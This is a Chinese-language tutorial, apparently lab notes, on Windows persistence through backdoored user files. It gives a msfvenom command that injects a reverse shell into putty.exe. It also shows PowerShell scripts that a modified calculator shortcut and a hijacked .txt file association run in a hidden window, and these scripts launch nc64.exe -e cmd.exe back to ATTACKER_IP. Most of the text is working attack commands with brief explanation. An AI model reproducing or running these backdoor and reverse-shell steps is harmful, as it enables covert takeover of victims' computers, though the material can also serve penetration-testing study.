可执行文件

用户桌面上的文件经常被用户使用,我们可以利用在程序中注入有效载荷来获取目标

假设为: **putty.exe**

  1. msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

快捷方式

我们也可以修改快捷方式,我们可以将其更改为指向将运行后门的脚本,然后正常执行通常的程序,而不是直接指向预期的可执行文件。

使用: <font style="color:rgb(33, 37, 41);">calc 快捷方式</font>

后门文件 - 图1

我们现在目标创建一个 PowerShell 脚本文件,并且该脚本文件会执行反向 SHELL 以及 calc.exe

  1. Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
  2. C:\Windows\System32\calc.exe

然后修改快捷方式指向我们的脚本

同时注意,我们还需要修改图标指向原本的文件

  1. # -WindowStyle hidden : 隐藏窗口运行
  2. powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

后门文件 - 图2

然后等待连接即可

劫持关联文件

:::tips

除了通过可执行文件或快捷方式持久化之外,我们还可以劫持任何文件关联,以在用户打开特定文件类型时强制操作系统运行 shell。

默认的操作系统文件关联保存在注册表 **<font style="color:#DF2A3F;">HKLM\Software\Classes\</font>**

:::

假设我们要检查哪个程序用于打开 .txt 文件;我们可以去检查子.txt项并找到与之 关联的程序 ID (ProgID) 。ProgID 只是系统上安装的程序的标识符。对于 .txt 文件,我们将具有以下 ProgID:

后门文件 - 图3

然后我们可以搜索相应 ProgID 的子项(也在下 HKLM\Software\Classes\),在本例中 txtfile,我们将在其中找到对负责处理 .txt 文件的程序的引用。大多数 ProgID 条目将有一个子项,在该子项下shell\open\command指定为具有该扩展名的文件运行的默认命令:

后门文件 - 图4

在这种情况下,当您尝试打开一个 .txt 文件时,系统将执行 %SystemRoot%\system32\NOTEPAD.EXE %1,其中%1代表打开的文件的名称。如果我们想劫持这个扩展,我们可以用执行后门的脚本替换命令,然后像往常一样打开文件。首先,让我们创建一个包含以下内容的 ps1 脚本并将其保存到 C:\Windows\backdoor2.ps1

  1. Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
  2. C:\Windows\system32\NOTEPAD.EXE $args[0]

请注意,在 Powershell 中,我们必须传递 $args[0]给记事本,因为它将包含要打开的文件的名称,如通过 %1.

现在让我们更改注册表项以在隐藏窗口中运行我们的后门脚本:

后门文件 - 图5